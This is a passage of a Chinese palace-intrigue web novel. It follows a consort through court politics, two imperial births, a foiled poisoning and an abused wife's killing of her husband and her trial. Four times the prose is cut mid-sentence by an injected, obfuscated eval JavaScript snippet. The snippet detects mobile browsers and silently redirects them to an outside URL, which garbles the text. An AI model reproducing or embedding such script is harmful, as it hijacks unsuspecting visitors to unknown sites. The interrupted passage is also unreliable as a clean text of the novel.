宫正司宫正是皇帝心腹,她信任的人当然也都是皇帝一派。她们如何查案,沈明珮不知,只知道最后查出来是另一个典珍所为。 涉事典珍在宫正司牢中被人投毒而死,宫正司宫正对此大为光火。沈明珮没再追责,只将揭发此事的掌珍升为典珍,打碎瓷瓶的典珍罚俸两月,再将自己掌管司珍司以来事办得最好的一位宫女提为掌珍。 她对于此案的陈述以及宫正司宫正的调查报告一同出现在皇帝的桌案前,而后封存。瓷瓶由其他珍物替代。 这一个新年与往年并无太多不同,对沈明珮而言唯一重要的区别是她的二表嫂携女回京,日后长留京城,管理京城忠勇侯府。 大年初二时,她也身着诰命大礼服,带着女儿,前来拜见沈明珮。 “母亲,大嫂,”沈明珮与刘芸、孙玉兰打完招呼,快步走到陌生的淑人装扮的女子面前,“这位便是二表嫂吧?早年便听兄长提起过二表嫂,今日得见,确实气度非凡。” 沈明珮所言不虚,当日金人入侵,刘进抗敌的同时,正是他的妻子组织城内百姓为守军提供后勤,刘进战死后也是她站出来稳定民心。援军到来时,她伤重垂死,好不容易才救回来。因此,皇帝特批她在刘进死后依然享有淑人诰命。 按沈明珮的想法,皇帝还是太吝啬了,至少也应该提到二品夫人。 刘进不曾纳妾,两人育有一女。此战过后她长居宁远忠勇侯府,专心教养女儿。此番回京,也是因为女儿到了该上女学的年龄。 “孩子叫什么名字?几岁了?”沈明珮问起她的女儿。 “六岁了,叫刘素英,”二表嫂说着喊小姑娘上前,“英娘,快给贤妃娘娘行礼!” “臣女见过娘娘。”刘素英的礼行得居然还算标准,想来也是事先练过。 “真可爱,”沈明珮说着,让寒露端上一个事先准备好的盒子,“我来不及专门给她打首饰了,就挑了个她过两年就能戴,可以一直戴到大的,劳二表嫂替她收好。” 寒露打开盒子,里面是条金镶玛瑙璎珞,上雕灵芝如意云纹,颇为精美。二表嫂立刻带女儿行礼道谢。 随后,刘素英被带下去玩,沈明珮同三位命妇坐在一处聊近况。 其中便聊到了子女教育问题。 刘芸不再刻意压抑沈明玥的爱好后,沈明玥在擅长的领域进步神速。 “在西文上,我已经没什么能教她的了,她现在在自学罗刹文,”刘芸说,“另外,她虽然不擅诗文,白话写作倒是擅长,也算是没白读那些话本子吧。” “这不是很好吗?”沈明珮站着说,“也是女承母业了。” 与刘芸不同,这位二表嫂谈到刘素英,居然很是发愁。 “我看英娘挺好的啊,人也有礼貌,看上去也很壮实,表嫂有什么犯愁的呢?”沈明珮不解。 “娘娘有所不知,她想习武。” “想习武是好事啊,强身健体。”沈明珮更不解了,这位表嫂不该是反对女儿习武的人啊。 “娘娘,英娘说的习武,是像她父亲一样,成为武将。” 这确实不同寻常。自从高宗灭杀女官后,大齐再无女兵女将。士人阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103663|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层对女性习武持抵制态度,部分保守官员甚至连女性家属的正常锻炼都予以限制。女性被驯化得以瘦弱为美,更没有掌握武力的可能,于是也更加与权力无缘,受拘束越来越重。民间女子也需要上工赚钱养家,士大夫家庭的女子却彻底失去了大齐初年女官女将争取来的一切自由,甚至比不上前朝。与此同时,礼教在士大夫阶层被空前宣扬,他们家中的女性们不得不严格顺从父亲、丈夫甚至是儿子。 武官家庭,尤其是边地武官家庭倒是要开放一些,允许家中女孩习武,但也再没有让她们从军。所以刘素英的梦想确实是特立独行,足以让她母亲忧心忡忡。 但沈明珮还是希望大齐能再出女将军的。没有暴力,怎么可能夺取权力? 她沉吟片刻,缓缓说:“孩童时期的梦想是很珍贵的,过去了就不会再有了,我觉得还是不要轻易打碎为好。不若先找个师父让她学着,若是真的不适合,她会自己打消这个念头的。” “可若是她长大后还是想从军呢?”二表嫂依旧忧心忡忡。 “若是她真有那个本事,为什么不呢?”沈明珮直言,“我相信舅舅不会因为性别拒绝一个好苗子。到时候本宫若是没失势,也会为了她向皇帝求个恩典。寒露!” 寒露闻声而来。 “我记得我的藏书里有《孙子兵法》,你拿过来吧。” 等寒露把书拿过来,沈明珮亲手接过书,把它交到二表嫂手里。 “既然想为将,就必须要通晓兵法,我这本《孙子兵法》也一并算作送给她的见面礼。表嫂不必担忧,学习兵法的前提是能够识文断字,这书也能鞭策她好好学习。” 这是明确表示了对刘素英的支持。有她的支持在,想来小姑娘能拥有一个向梦想努力的机会。 二表嫂沉思着带着女儿告退,刘芸见时间不多,也起身离开,只留了孙玉兰一个。她坐在椅子上,手抓着大衫,一脸纠结。 “嫂子这是怎么了?” 孙玉兰又纠结了一会儿,才小声说:“娘娘,臣妇与伯爷从结婚到现在,一直未能有孕。” “这没什么,兄长和嫂嫂都还年轻,缘分到了自然会有嘛。”沈明珮无所谓道。 “臣妇要不要给伯爷纳妾?”孙玉兰想起父亲的建议,忍着心中的不适试探着问。 不想,沈明珮却正了脸色。 “嫂嫂何出此言?你们还年轻,又不是这辈子不可能有孩子,何必要纳妾?况且我们这一支深受纳妾之害,早就定下了不纳妾的规矩。” “娘娘心慈,臣妇也很感动,只是,若是臣妇真没能生出儿子该怎么办?” “那就是我兄长确实没这个子嗣缘分。届时若是有女儿,你们便尽管好好教养女儿,若是宏瀚真有那个运道,我会争取让你们的女儿袭爵,若是子女皆无或是最终袭爵不成,你们也可在合乎律法的情况下随心意抱养子女,我总不至于沦落到让沈思远的孙子进你们家。若是我和宏瀚斗输了,你们也没心思再想这些,”沈明珮直视孙玉兰的双眼,“缘分这种东西,确实有深有浅,但是绝不能因为自己缘分浅就用伤害别人的歪门邪道去强求缘分,嫂嫂你说是不是这个道理?” “娘娘,到时间了。”恰在此时,白芷走过来出言提醒,孙玉兰迷迷糊糊地行礼告退,又迷迷糊糊地与等在院中的刘芸相携而去。 46. 相继 正月初三,孙玉兰回门,将沈明珮的话单独说给孙指挥使听。说完,孙指挥使让他出去,自己在书房里呆了半个时辰。 六天后,晚饭时,送餐的宫女悄悄塞给寒露一张叠好的纸条。寒露小心翼翼地将它藏在袖子中,直到长春宫熄灯前,其他人都歇下后,才将纸条交给沈明珮。 沈明珮打开纸条,上面小字密密麻麻,赫然是一份名单。名单上人不多,但每个人的职位都写得明明白白,谁是上线谁是下线也都写明。沈明珮很快将这些东西背下来,而后将纸条放在烛火上,烧得一干二净。 孙家自从皇帝登极后才出锦衣卫指挥使,六年多时间能安插进这些人手已是不易。 上元节后,孙玉兰返回吉林。 繁忙的新年过去,到了二月,司珍司已经彻底归心。宸妃那边,司彩司也被她管理得服服帖帖,不再生事。 清婕妤与江宝林也快到预产期,自清婕妤处捣鬼的人被抓出来,其他人未再生事。沈明珮与宸妃都不约而同地查清稳婆的来历,确保没有任何问题。 说来也巧,清婕妤与江宝林昔日一同被查出有孕,此时居然也是一同发动。 三月初五,江宝林吃过午饭后感觉腹部疼痛,随着疼痛开始加快加重,她确定自己是发动了。 宝林宫人很少,她的两个宫女和稳婆一起将她搀扶到床上后,其中一人才有时间将此事上报皇后。 皇后派人通知皇帝和六宫各妃,自己先带人去了江宝林的宫室。宝林级别低,能住的也只是后殿排房中的一间,甚至连专门的产房都没有。 皇后站在宫室门外,透过窗户看着门内的景象,嫌恶地皱起眉头。 “来人,把隔壁那间打开!” 值守宫人立刻照做,打开门的同时迅速把里面打扫干净,皇后进去时看见的就是一个窗明几净的房间。 她终于露出满意的神色。 宫妃们陆陆续续走进来等候,过了些时候皇帝也赶过来。在沉默的等待中,痛呼声隔着墙传来,越发凄厉。 在又一波痛到极点的惨叫中,白芷跑进帝后妃嫔所在的宫室。 “什么人!”皇后冷喝。 “陛下,清婕妤发动了!”白芷直接跪在皇帝面前。 宫妃们面面相觑,没想到居然能这么巧。沈明珮倏地起身,走到白芷身旁,向帝后告退。 “陛下,娘娘,妾得去清婕妤那里看着,请容妾先行离开。” “去吧。”皇帝说。 皇后在一旁关切地问:“可用本宫派些妹妹同你一起去?” “妾代清婕妤谢娘娘,”沈明珮摇头,“但江宝林发动在先,又已完成过了半天,若无意外也会先生出皇嗣,姐妹们还是更应该关注江妹妹。清婕妤这里妾会认真照应,若有需要,妾会派人请示陛下和娘娘。” “若是情况紧急,你可以先拿主意,”皇帝话语间带了些催促,“快过去吧。” 沈明珮收起行礼姿势,带着已经站起来的白芷快步离开。 到达清婕妤的住处时,清婕妤本人已经在产房内,宫人们也各就各位,寒露已经守在产房门前,只等沈明珮到场。 “寒露,你进去盯着。”沈明珮命令她。 她点了下头,推门走进产房。 沈明珮命人搬了个凳子,守在产房外。清婕妤体力消耗大半时,一个宫女端着碗骨汤面就要进去。 “等一下!”沈明珮喊住她,“白芷,用你的簪子测一下。” 白芷依言拔下插在发间的银簪,擦净后插入面条中。 银簪变黑了。 “把她拿下。” 其实不用沈明珮命令,白芷就立刻将她控制住,殿中其他宫人注意到这一幕,立刻抽了根绳子过来将她捆好。 “你们宫里若是有糖,先给清婕妤吃点糖撑着吧,”沈明珮思索后说,“白芷,你去尚食局重新点一碗骨汤面,检查好再端来。” 白芷转身离开,被捆在一边的宫女冷笑。 “你笑什么笑,”捆住她的宫女和她共事将近一年,也都有了感情,见她此时给清婕妤下毒,又生气又难过,“毒害宫妃皇嗣,你以为你还活得了吗?” “我本也没想活着,”宫女俨然一副将生死置之度外的模样,“我全家早就死在金人手里了,我一个人活着有什么意思?” 捆住她的宫女什么话也说不出来了。她转过身去拿糖,避开这个让她心痛的角落。 糖喂进清婕妤嘴里,她恢复了些力气,也知道出了问题,咬住嘴唇再不敢发声,生怕再浪费一点体力。 被捆着的宫女见里面再没传出动静,恶意满满地笑着问沈明珮:“听闻贤妃娘娘的表兄也死在金人手里,陛下让您照看一个金人妃子,您就不恨吗?” 她眼中的恨意过于炽热,让沈明珮无法说出违心之言。 “我确实恨,”沉默良久后,沈明珮坦然承认,“但是清婕妤归根到底不过是战败后的女真人送给陛下的战利品,杀死她没有什么意义。况且,我毕竟不像你,我还有亲人,所以不论多恨我也不能动手。” “贤妃娘娘是个实在人。”宫女闭上眼睛,盘腿静坐。 江宝林那边,众人坐了许久后,终于听到隔壁传来婴儿的啼哭声。皇帝站起身,走到屋外,稳婆刚好抱着孩子出来。 “恭喜陛下,是个公主。” 皇帝凑过去看了看,而后对她说:“照顾好江婕妤和四公主。” 皇后跟在后面出来,听得心头一跳。她不禁想,生了一个公主,直接跳了三级,若非起点太低,岂不是直接成主位了?她突然有些庆幸,江婕妤生的不是皇子。 她走到皇帝身边,温声道:“陛下,该去看清婕妤了。” “哦,走吧,”皇帝又看了眼公主,正准备离开,又突然回头,“四公主就叫徽娥吧,徽音之徽,娥眉之娥。宸妃,你留下来照看江婕妤。” 说完,他才快步离开。 后妃跟在后面,宫内一时出现了人们平生罕见的奇景:龙辇在前,凤辇紧随其后,其余主位娘娘的步辇排成一队跟在后面,队伍末尾是没有步辇的散号宫妃。一队人浩浩荡荡地直奔清婕妤的宫室而去。 “怎么样了?”一进清婕妤所在的侧殿,皇帝就问沈明珮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107293|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随后他看到了被捆在一边的宫女,“这是怎么回事?” “清婕妤还在生,”沈明珮看了眼那宫女,眼神闪烁间回答,“这个宫女家人都死在了先前金人的攻击中,她想找清婕妤报仇,被妾身发现了。” 皇帝皱眉:“尚宫局干什么吃的?” 能把有仇的宫女派过来伺候主子,绝对是重大失误。 皇后见皇帝面露不虞,上前柔声劝道:“陛下,眼下最重要的是清婕妤,不若先把这宫女带下去。” “可以。”皇帝点头,而后不再理会此事,全由皇后安排。 沈明珮心中突然生出预感,这宫女大概活不过今天了。她不由自主地看向宫女,她腰杆挺直,不需要别人押着就自己往前走。她似乎没察觉到沈明珮的视线,坦荡地走到殿门前,忽然回首。 两人视线相对,她以极轻微的力度点了一下头,而后再不回头地走出去。 殿门再次关上,留下满室寂静。 无人说话,只有清婕妤又清又尖细的呻吟声不时传出来,让人心头发毛。沈明珮仗着自己负责照看清婕妤,理所应当地与皇后分享了皇帝左右两侧的位置。她偷偷看皇帝,见皇帝亦是面色凝重。 她决定缓和一下气氛:“陛下,江妹妹那边结果如何?” 皇帝正要回答,皇后抢先说:“江婕妤生了个公主,已经起好名字了,叫徽娥,徽音之徽,娥眉之娥。” “这可真是个好名字,”沈明珮笑道,“江妹妹知道后定会很欢喜。” 殿内再次陷入沉默。不知过了多久,产房内的低吟再次升级为惨叫,听得门外的妃子们心惊胆战。 皇帝面上明显划过不耐烦。好在惨叫没有持续太久,婴儿洪亮的啼哭声骤然代替清婕妤的叫声,响彻整个配殿。 “恭喜陛下,恭喜娘娘,”稳婆抱着孩子走出来,“清婕妤生了个小皇子。” “恭喜陛下,恭喜皇后娘娘。”负责清婕妤此胎的沈明珮也跟着稳婆道贺。 她清清楚楚地看见皇帝脸上一闪而过的失望。这失望消失得很快,仿佛是她的错觉。 “清婕妤生育皇子有功,升位清嫔,赐住景仁宫正殿,”他说完,大抵是为了显得不厚此薄彼,又说,“五皇子就叫宏清吧。” 沈明珮想,若是先前那个刺杀清嫔的宫女在场,怕是会直接笑出来。且不说这与“清贫”同音的封号,单说以母亲的封号作为孩子的名字,本身就很敷衍。 不知等清嫔醒来之后知道这些,会作何想法。 “贤妃和宸妃保护皇嗣有功,朕会赏赐,现在你们都回宫吧。”皇帝明显已是不想再呆在这里了,赶走后妃后也抓紧时间离开。 沈明珮又坐了一阵子,而后依然是把白芷留下,让她在清婕妤醒后回来,自己先回了长春宫。走在宫道上,她听到宫人交谈,皇帝先去看了江婕妤才回乾清宫。 回到长春宫里,乾清宫的太监已经等候多时,笑着祝贺沈明珮,放下下赏赐后离开。沈明珮打开盒子,看到一副金镶红蓝宝王母乘鸾头面。 “挺好看的,收起来吧。”她盖上盒子,顺手递给寒露。 47. 杀夫 两个孩子满月后,任务彻底完成,沈明珮和宸妃都把人撤了回来。 五皇子满月当日,皇帝下旨,封原叶赫部首领、她的父亲为安乐伯,五代而终。旨意先是在早朝结束后发往叶赫那拉府,而后又在五皇子满月宴上由皇帝亲口告诉清嫔。 清嫔虽一脸感激地领旨谢恩,心情却实在算不得好,甚至这一脸感激也是她硬挤出来的。她来到京城有三年了,大齐的历史文化也了解了不少,封伯固然是好事,但封安乐伯可就不一定了。 她反而羡慕在她前一天生下四公主的江婕妤。昨日四公主满月宴时,皇帝也说了他对江家的封赏——封江婕妤的二哥为锦衣卫千户。从此江家就不再只是商户了。 叶赫部本就是投降者,即使封了安乐伯,清嫔家属依旧老老实实,唯恐因自己闯祸受到惩罚。江婕妤的二哥第一时间去锦衣卫报到,他虽是千户,但不耻于请教级别不如他的同僚,执行任务时也是一丝不苟,让上司在密折上专门表扬于他。 人们的眼睛都是雪亮的,两位妃嫔的家人本分至此,言官们也把视线从他们身上转移开去。 此时已是夏日。 这一年的夏天似乎比往年更热。京城内整日整日的没有一点风,衣料黏在人们流淌着汗水的皮肤上,晕开成片的汗渍。阳光照得要外出上工的人头脑昏沉,偏偏蝉鸣声还叫得人心烦意乱。 京内有名的纨绔子弟们也不愿出来玩了。这么热的天气,躲在家里,屋里摆满冰鉴,与美妾嬉闹才是美事。只有到了傍晚,这些公子们才终于从家里钻出来,唤上狐朋狗友去销金窟中快活,心情好时还可能带上个美人回家。 临近宵禁,一辆马车停在定国公府门前,走下来两个年轻男人。锦衣华服的那个搂着衣饰朴素的那个人的腰,大摇大摆地走进府中。 “哎呦喂,我的少爷啊,”守在门口等少爷回来的管家看到这一幕,只觉牙疼,“您怎么还把人带回来了?回头老爷太太又要罚您了!” “罚就罚吧,反正全京城早都知道了,他们还能怎么罚?”少爷不以为然,搂着男人走向自己的院子。 进了院子,少爷粗暴地踢开主屋的门,酒气顷刻间弥散在屋中。 “本少爷今晚要和美人一起睡,你给我滚出去!”他对着瘦弱的妻子大呼小叫。 妻子居然也没有反驳,低头道了声“是”,就要收拾自己的床铺。 “哎,”少爷摁住她的肩膀,“东西留下,你自己出去。记得给他安排好住处。” 妻子的脸上闪过屈辱。她闭了闭眼睛,深吸口气,走出屋子。 在她身后,门砰的一声关上,少爷卷着男人上了自己妻子的床。 妻子到后半夜终于把房间收拾好,正要在里面对付半个晚上,突然听到嘲笑声。 “哟,我们的三少奶奶终于被三少爷从房里赶出来了?”说话的是一个美得很张扬的年轻女子,她看三少奶奶累得满头大汗,一脸奚落,“堂堂郎中之女居然被赶出了自己的屋子,少奶奶,您活得可真窝囊啊。” 三少奶奶的脸上如同打了调色盘般闪过各种表情,最终又归于麻木的平静。她抬起手臂,手指指向漂亮女人的屋子。 “滚。”她哑着嗓子说。 漂亮女人捂着嘴笑出声,优哉游哉地回到自己屋子。 第二天清早,三少爷的院门被砸开,定国公和夫人一起闯进来,后面还跟着一脸忐忑的管家。 “那个逆子呢?让他给我出来!”定国公怒吼。 三少奶奶睡得很不踏实,一听到撞门声就醒过来,忙穿好衣服,走出小屋。 “父亲,母亲。”她行礼道。 见儿媳妇不在儿子房里,定国公抄着手杖就闯进三少爷的房间。院里闹出这么大的动静,三少爷居然睡得还很熟,怀里还搂着昨夜带回来的男人。 定国公心头火起,抄起手杖,一下又一下地砸在三少爷背上。 “孽子!” 这下三少爷终于醒了,看见暴怒的父亲,也顾不得新得的美男,一个轱辘滚下床,刚落地,背上的疼痛让他直抽气。 定国公还要再打他,被夫人拦下来。 “老爷,再打就要伤着了。三郎确实有错,但也是因为有那不要脸的小人勾引,不能只打三郎一个啊。” 定国公收了手。 “赶紧去国子监,”他先命令三少爷,又命令夫人,“把这个男人处理了。” 管家一招手,守在屋外的人就闯进来,一人拿着书包,两人把三少爷架走。另有两人架起他向外走去。 京城内最大的销金窟刚陷入休息,一辆马车走到门口,将昨晚被定国公府三少爷带回去的男人扔出来。 当天傍晚,三少爷回到家,先去定国公夫人处吃晚饭。一大家人都在,三少奶奶站在定国公夫人,明明腿已经站不稳了还得给她夹菜,夫人让她坐下她才能坐下。 吃完饭,少爷们带着各自的妻子回去,三少爷满是恶意地扫视了三少奶奶一眼。只一眼,三少奶奶便不寒而栗。 “站着干什么,快和三郎回去。”定国公夫人不耐地催促她,三少奶奶只得硬着头皮跟上去。 回到屋中,三少爷关上房门,一拳打在三少奶奶的脸上。 “爹娘为什么会知道我带了男人回来,是不是你说的?”说着,他又打了一拳。 这话说的没有半点道理。他昨天夜里带人回来时已是很晚,今天早上定国公夫妇闯进来时又很早,三少奶奶哪里有告诉定国公夫妇的时间? 但三少奶奶也知道,这不过是三少爷随便扯来的一个打她的借口,即使她能辩明不是自己告诉定国公夫妇的,也一样会被打。 三少爷将她推倒在地,随后拿起椅子就往她身上砸,砸到心中怒气消了大半,才停了手。他把椅子扔到一边,猛踢了三少奶奶几下。 “起来,伺候我洗漱。” 三少奶奶挣扎着站起来,咳出一口血。 夜里,三少奶奶躺在床上,身上的疼痛让她久久不能入眠。翻来覆去间,前一天夜里那妾室的那句“您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116193|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活得可真窝囊啊”又在她耳畔响起。 她坐起身,看着身边打着呼噜,睡得像死猪一样的男人,鬼使神差般拿起枕头,捂在三少爷脸上。 三少爷这一天过得很郁闷。一大清早就挨了父亲好几杖,后背被打得生疼,刚到手的美人还就这么没了。而后被强行送到国子监上课,先生讲得跟天书一样,他每个字都听得明白,偏偏排列在一起就是听不懂,一天下来脑袋一片混沌。好不容易到了晚上,他能靠打老婆出出心中的邪火,这才能平稳入睡,不想睡得正香时,一股窒息感突然扑面而来。 他凭本能挣扎,挣扎中逐渐清醒,意识到自己这是被人下手了。 “混账,我要杀了你!”他一边剧烈挣扎,一边叫骂。 三少奶奶其实没有多大力气。她自从进了定国公府,一直在被苛待,长期营养不良的身体非常瘦弱,偏偏又经常被打,动辄便是有伤,做简单的活动都费劲,何况是杀人这种大事。在三少爷的剧烈挣扎下,她感觉自己已经要撑不住了。 但她不能撑不住,一旦三少爷成功挣脱,她将必死无疑。 清楚这一点的三少奶奶咬牙使出浑身的力气,两只手都死死压着枕头,上半身前扑,重心压在枕头上,双腿跪在床上,为身体做支撑。 二人一个挣扎,一个阻止他挣扎,都用尽了全力,角力间闹出了极大的声响。终于,还是身强体壮的三少爷更胜一筹,挣脱了枕头,看见了对他动手的人。 “好啊,你还敢杀我,老子打死你!” 他说着就要抄家伙反杀三少奶奶,只是这边才放完狠话,他便骤然停顿,而后失去意识倒在床上。 他倒下之后,三少奶奶才看见,昨天夜里讽刺她活得窝囊的美人,正举着一个沾了血迹铜壶站在床边,数息前她就静静站在三少爷身后,举着铜壶,等着砸下去的时机。 “还愣着做什么,把他杀了啊。”见三少奶奶愣住,美人低声催促。 三少奶奶回神,再次拿起枕头,死死捂在三少爷的脸上。美人也伸出双手,摁在枕头上,让枕头捂得更严实。昏迷的三少爷这次没有了反抗的能力,直接被捂死了。 两人保持这个动作很久,拿开枕头时,三少爷已经死得透透的了。 三少奶奶突然不知道该怎么办。 “你快逃吧,”她无力地弯着身子,坐在床上,对美人说,“人是我杀的,你今天夜里没来过这里。” “逃?”美人笑得凄凉,“我能逃到哪去?我父母兄弟都死在定国公府手里,我一个良民被他们轻轻松松地变成了贱民,我有地方逃吗?” 三少奶奶笑了:“巧了,我也无处可逃。那我们就在这里等着他们吧。” 过了早饭时间,见三少爷和三少奶奶依然没有出现,定国公夫人派自己院里一等丫鬟请他们过来。丫鬟一推开三少爷的屋门,就发出一声尖叫。 “死人啦!” 当天下午,沈明珮正看书,寒露走到她身边,低声对她说:“娘娘,定国公府三少爷死了。” 48. 死刑 定国公府作恶多端的三少爷死了,这可真是大快人心。京城里好信的百姓中,有那胆子大的聚在顺天府衙门前,围观审案。 顺天府知府心里很烦。一大早刚下朝,他还没吃上热乎饭,就被师爷薅到二堂。定国公夫妇带着被捆好的两个女人在那里等着,一见到他就要他给两个女人判死刑。 知府牙根疼。审都没审呢,就要判死刑? 等进了大堂,看到围在周围,不仅想看热闹,还兴高采烈的百姓,他更是头疼。 “升堂!”在一片闹闹哄哄中,他狠拍了一下惊堂木,周围终于安静下来。 衙役押着两个女人上前,因为是诰命,三少奶奶暂且先松了把你。 两人刚跪好,就有一个一身布衫的男子走到知府面前,将一封信递给他。 三少奶奶认得这个人,他是她父亲府上的管家。 果然,交完信,这管家就大声当着围观群众、定国公府众人以及官衙内官吏说:“我们老爷说了,杀夫者不配为人,他没有这种女儿,此女日后不论死活,一概与郎中府无关!” 听着这话,三少奶奶心中竟无一点波澜,好像被他们舍弃是一件再正常不过的事。 管家挺着腰杆离开,知府问她:“你是定国公府三少奶奶,可对?” “是。” “名字叫什么?” “莹娘,没有姓。”莹娘顺应被断绝关系的结果回答。 “定国公与定国公夫人说你杀了丈夫,你有什么要说的?” “他确实是我杀的。”莹娘承认。 “你这个毒妇!”定国公夫人怒骂,“我们给你请封诰命,让你跟着管家,你生不出孩子我们也不逼你,你还有什么不满意的?你怎么能杀我儿,你怎么敢杀我儿!” “你真的不知道我为什么杀他吗?”莹娘幽幽地说。 说完,她竟然在大庭广众之下解开了自己的衣衫。坐在主位的知府来不及阻拦,众人就看见布料掩盖之下伤痕累累的身体。整个裸露的上半身,一层伤盖着另一层伤,层层叠叠,没有一处好的地方,浑身的青紫更是昭示着她刚被打过不久。 “敢问诸位,我真的不该杀他吗?” 知府审不下去了,转头问另一个人:“定国公府三少爷妾室,绿水,协助定国公府三少奶奶杀夫,本官说得可对?” “不全对,”绿水反驳,“我本名李春芽,我要状告定国公府逼良为奴,杀我全家!定国公府还抓了不少其他良籍男女,都在这个三少爷的院子里。” “大人,李春芽所言全部属实。”莹娘在一旁作证。 案子是审不下去了,知府立刻派人搜查定国公府内三少爷的院落,又强行留下定国公夫妇,让他们无法干扰搜查。 衙役果然抓出很多男女,这些人被发现时大多衣不蔽体,满身伤痕,有的已经精神失常。其中甚至有一个举人。 知府将案子上报。 沈明珮听说定国公府三少奶奶杀夫案后,去小厨房与白菊一起做了碟点心,让宋英送到乾清宫。 晚饭时分,皇帝就来了。 两人先吃过饭,等下人收拾餐桌时,皇帝才问沈明珮:“爱妃请朕来,所为何事?” 沈明珮绕到他身后,手搭在他肩膀上,为他按摩。 “陛下怎知道是妾有事,而不是妾想念陛下了?” “你一向守礼,不会因为想念就这般把朕请过来。”沈明珮揉捏的力道正好,皇帝很舒服地闭上眼睛。 “陛下英明,”沈明珮面带微笑,“其实是妾下午听说了一个案子,越想越心有余悸,就想见见陛下。” 皇帝睁开眼睛:“什么案子?” “陛下还不知道吗?”沈明珮惊讶,“定国公府三少奶奶不堪忍受三少爷的殴打,把三少爷杀了。听说知府审她的时候她当场脱了衣服,被打得身上一块好肉都没有了。” “所以呢?” “所以,妾就想,当初若不是有陛下相救,妾会不会已经被打死了?”沈明珮像是想起当日的绝望,眼中蓄满恐惧,“这么一想,那位三少奶奶实在是可怜,被打成这样,也是真的活不下去了吧。” “既已进了宫,就不必后怕,你比她们命好得多。” 皇帝的话让沈明珮心往下沉。她不信他听不懂她的言外之意,但是她不想就这么结束这个话题。 “陛下,妾觉得那位三少奶奶实在是可怜,能不能饶她一命,”她无声地深吸口气,将想说的话吐出来,“哪怕是流放呢……” “贤妃,你逾矩了。”皇帝站起身,冷冷地丢下这句话就离开了。 刑部接手此案后,先把先前锁在三少爷院子里的人放了,而后放定国公夫妇回府,把莹娘与李春芽羁押在牢中。第二天上午,刑部尚书便派一位郎中秘密前往李春芽所说的地方,调查案件事实。 足足过了二十天,郎中才把证词带回来。 “大人,李春芽当日所言属实。”他把证词递给刑部尚书。 刑部尚书从头到尾看一遍后,派人将定国公请过来,又把证词涉及的定国公府仆役全部逮捕。 虽说是请,定国公到了刑部后还是进了审讯室。审讯室内,刑部尚书将证词递给定国公。 “定国公可有什么要说的?” 定国公看完,叹了口气:“此事是我教子不严。当日李姑娘揭发此事,本公和夫人回去对下人一一盘查后,才知我那逆子逼迫不少生得美貌的男女委身于他,因为李姑娘不从于他,他把李家人都逼死,而后以李家人的尸首强逼李姑娘签下卖身契。此事他做得不算隐秘,但是当时的村里人都收了他的封口费,所以没人说出来,他也一直没有告诉我们。” 事实当然不是如此,三少爷一个断袖,逼女子为妾做什么?那些女子都是定国公夫人为了矫正儿子纳进府的,李春芽更是她的心腹嬷嬷亲自推荐的同乡姑娘。 但是定国公夫妇两个从顺天府府衙出来之后就商量好了,把一切都归到三儿子头上。毕竟人已经死了,还是活着的人更重要。刑部查案的这二十天,更是足以让他们把一切安排得明明白白。 当年去的都是仆役,谁知道背后的主子是谁? 听罢定国公的解释,刑部尚书焕然大悟般地点点头。他也并非看不出其中的问题,只是能这么交差,何必得罪在朝中扎根这么多年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128145|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的定国公府? 只是,若是把一切归到定国公府三少爷头上,那协助杀人的李春芽就是为父母报仇,属忠孝节义之举,不仅不会被定罪,甚至还有可能获得嘉奖。 “到底是我那孽子有过错在先,李姑娘所为是父母报仇,我们虽然难过,但也不得不接受,”定国公提起死去的儿子,又是痛苦又是满脸痛恨,“但是,那个莹娘必须死!” 刑部尚书当即放了定国公,而后写密折上报皇帝。 圣旨很快下达牢中。李春芽为父母报仇,乃忠孝节义之举,封乡君,赏金还家。定国公府三少奶奶,杀夫恶逆,十恶不赦,凌迟处死。 李春芽当即就要为莹娘申辩,跟天使一起出现在牢房的刑部尚书立刻阻止:“乡君,摆脱此番劫难已是不易,要珍惜活下去的机会啊。” 她看向莹娘,莹娘笑着对她摇摇头。 “民女,谢陛下。”她叩首接下圣旨,随后被当场释放。 